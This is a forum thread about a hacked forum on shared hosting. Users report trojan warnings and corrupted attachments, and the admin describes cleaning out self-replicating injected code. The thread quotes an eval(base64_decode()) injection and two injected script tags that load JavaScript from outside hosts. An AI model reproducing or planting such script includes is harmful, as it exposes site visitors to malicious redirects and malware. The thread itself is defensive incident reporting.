Topic: My anti virus program keeps saying there's a virus here.

Unless you've reuploaded it, I can see yours just fine.


It seems almost all of the attachments in the Platinum thread are corrupted, so I'm wondering if it didn't corrupt almost all images.

Maybe your browser attempts to display the corrupted PNG where mine just gives up. I saved it to my hard drive and none of my viewers will display it.

I recently backed up the attachments (a few days ago - but don't think that's related - or at least I hope not), so shouldn't reuploading the contents of the "attachments" folder fix them?  When I get home I'll give that a shot.

Though I'm more concerned about something more critical or irreplaceable being corrupted, and if whatever's causing the corruption is still around.

Oh, NOW it's broken. I hate the way this browser uses its cache.

As long as the site is on a shared server, the possibility of this happening again is always going to exist. And its not a matter of forum software, just a matter of root security. The problem was that a script pasted eval(base64(decode()) into every page in the forum. I'm surprised it didn't go higher into the main site, but it may have just been targeting the forum itself.

It has happened again

The bottom of the page contains:

<script src="http://holasionweb.com/oo.php"></script>

...which serves some javascript that uses a cookie to redirect once to suitcase52td.net which is totally blocked for me...

Fixed

That's what I'm getting now.

Same thing for me. Every page on the forum causes Avast to report that trojan horse...

I'm of the opinion that the problem isn't that this site is on a shared server, but that something is attacking externally. None of this was happening until the captcha was changed, and only the forums are targeted. If the server admins are worth anything they keep each site in private directories.

[EDIT] Nevermind, it appears that it definitely is a problem with GoDaddy. Lots of other people with different software are experiencing this. I guess we'll just have to wait it out.

Just a thought -- if the base64_decode command is getting pasted at the very end of the php file, what if you (bustin98) just stick an exit() at the end? That way anything after that point will be ignored, should this happen again.

[bustin98]

Its at the beginning of the file. Wish there was something I could put in to kill it. I changed permissions on the files but that didn't do a thing, and it wouldn't if the source was above the basic web user. Need to just get off the shared server, or on one that has better security.

[bustin98]

Well, did a deep cleaning of the site, found a random file that may be the cause or a cause the infection. Got rid of it. I also renamed the cookie name, so sorry about causing everyone to have to log back in... Seems the infection is self replicating and all it had to do is get in once. Every time someone hit an infected page, it ran through the site and added the code if it didn't already exist.

Maybe now things can go back to normal.??

It's happened again.  The following script has been added to the forum code.

<script src="http://myblindstudioinfoonline.com/ll.php"></script>

Those without reliable virus protection beware.

[Peardian]

Uh oh. For some reason, I'm not getting any kind of warning and nothing is happening. I hope this gets taken care of before something does.
